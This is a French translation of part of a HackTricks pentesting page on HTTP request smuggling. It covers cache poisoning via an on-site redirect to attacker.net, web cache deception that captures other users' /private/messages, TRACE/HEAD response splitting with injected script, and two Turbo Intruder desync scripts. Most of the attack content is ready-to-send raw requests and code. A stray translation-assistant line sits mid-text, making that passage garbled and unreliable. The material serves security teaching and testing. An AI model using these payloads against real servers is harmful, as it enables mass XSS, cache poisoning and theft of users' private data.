PrĂ©cĂ©demment, nous avons vu comment les rĂ©ponses du serveur pouvaient ĂȘtre altĂ©rĂ©es pour renvoyer une erreur 404 (voir Basic Examples). De la mĂȘme façon, il est possible de tromper le serveur pour qu'il renvoie le contenu de /index.html
en rĂ©ponse Ă une requĂȘte pour /static/include.js
. Par conséquent, le contenu de /static/include.js
est remplacé dans le cache par celui de /index.html
, rendant /static/include.js
inaccessible aux utilisateurs, ce qui peut entraĂźner un Denial of Service (DoS).
Cette technique devient particuliĂšrement puissante si une Open Redirect vulnerability est dĂ©couverte ou s'il existe une on-site redirect to an open redirect. De telles vulnĂ©rabilitĂ©s peuvent ĂȘtre exploitĂ©es pour remplacer le contenu mis en cache de /static/include.js
par un script contrÎlé par l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le /static/include.js
mis Ă jour.
Ci-dessous une illustration de l'exploitation de cache poisoning combined with an on-site redirect to open redirect. L'objectif est de modifier le contenu en cache de /static/include.js
pour servir du code JavaScript contrÎlé par l'attaquant :
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Remarquez la requĂȘte intĂ©grĂ©e ciblant /post/next?postId=3
. Cette requĂȘte sera redirigĂ©e vers /post?postId=4
, en utilisant la Host header value pour dĂ©terminer le domaine. En modifiant le Host header, l'attaquant peut rediriger la requĂȘte vers son domaine (on-site redirect to open redirect).
AprÚs un socket poisoning réussi, une GET request pour /static/include.js
doit ĂȘtre initiĂ©e. Cette requĂȘte sera contaminĂ©e par la prĂ©cĂ©dente requĂȘte on-site redirect to open redirect et rĂ©cupĂ©rera le contenu du script contrĂŽlĂ© par l'attaquant.
Par la suite, toute requĂȘte pour /static/include.js
servira le contenu mis en cache du script de l'attaquant, lançant ainsi une attaque XSS à grande échelle.
Using HTTP request smuggling to perform web cache deception
Quelle est la différence entre web cache poisoning et web cache deception ?
- Dans web cache poisoning, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
- Dans web cache deception, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupÚre ce contenu depuis le cache.
L'attaquant forge une smuggled request qui récupÚre du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Si cette requĂȘte dĂ©tournĂ©e empoisonne une entrĂ©e de cache destinĂ©e au contenu statique (par ex., /someimage.png
), les données sensibles de la victime provenant de /private/messages
pourraient ĂȘtre mises en cache sous l'entrĂ©e du contenu statique. Par consĂ©quent, l'attaquant pourrait potentiellement rĂ©cupĂ©rer ces donnĂ©es sensibles mises en cache.
Abuser TRACE via HTTP Request Smuggling
In this post il est suggĂ©rĂ© que si le serveur a la mĂ©thode TRACE activĂ©e, il pourrait ĂȘtre possible de l'abuser avec un HTTP Request Smuggling. Ceci est dĂ» au fait que cette mĂ©thode renvoie tout header envoyĂ© au serveur comme partie du body de la rĂ©ponse. Par exemple:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Envoyez le contenu du fichier src/pentesting-web/http-request-smuggling/README.md à traduire. Je préserverai exactement le markdown, les tags, les chemins et le code selon vos consignes.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Un exemple sur la façon d'abuser de ce comportement serait de smuggle first a HEAD request. Cette requĂȘte recevra en rĂ©ponse uniquement les headers d'une requĂȘte GET (Content-Type
parmi eux). Et smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
Comme la rĂ©ponse HEAD contiendra un en-tĂȘte Content-Length
, la response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data dans la réponse.
Cette rĂ©ponse sera envoyĂ©e Ă la requĂȘte suivante sur la connexion, donc cela pourrait ĂȘtre used in a cached JS file for example to inject arbitrary JS code.
Abuser TRACE via HTTP Response Splitting
La lecture de this post suggĂšre une autre façon d'abuser de la mĂ©thode TRACE. Comme commentĂ©, en smuggling une requĂȘte HEAD et une requĂȘte TRACE, il est possible de control some reflected data dans la rĂ©ponse Ă la requĂȘte HEAD. La longueur du corps de la requĂȘte HEAD est essentiellement indiquĂ©e dans l'en-tĂȘte Content-Length et est formĂ©e par la rĂ©ponse Ă la requĂȘte TRACE.
Donc, la nouvelle idĂ©e serait que, connaissant ce Content-Length et les donnĂ©es fournies dans la rĂ©ponse TRACE, il est possible de faire en sorte que la rĂ©ponse TRACE contienne une rĂ©ponse HTTP valide aprĂšs le dernier octet indiquĂ© par le Content-Length, permettant Ă un attaquant de contrĂŽler complĂštement la requĂȘte vers la rĂ©ponse suivante (ce qui pourrait ĂȘtre utilisĂ© pour effectuer un cache poisoning).
Exemple:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Générera ces réponses (notez comment la réponse HEAD a un Content-Length faisant que la réponse TRACE fait partie du corps de la HEAD et qu'une fois que le Content-Length de la HEAD prend fin, une réponse HTTP valide est smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(âarbitrary responseâ)</script>
Exploitation de HTTP Request Smuggling avec HTTP Response Desynchronisation
Vous avez trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
HTTP Response Smuggling / Desync
Autres techniques de HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
Source: https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Outils
- HTTP Hacker (Burp BApp Store) â visualiser la concatĂ©nation/le framing et le comportement HTTP bas niveau
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Cet outil est un HTTP Fuzzer basé sur une grammaire, utile pour détecter des incohérences étranges liées au request smuggling.
Références
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Attention aux faux fauxâpositifs : comment distinguer HTTP pipelining du request smuggling â https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Desync Attacks pilotĂ©s par le navigateur â https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy â desync cĂŽtĂ© client â https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.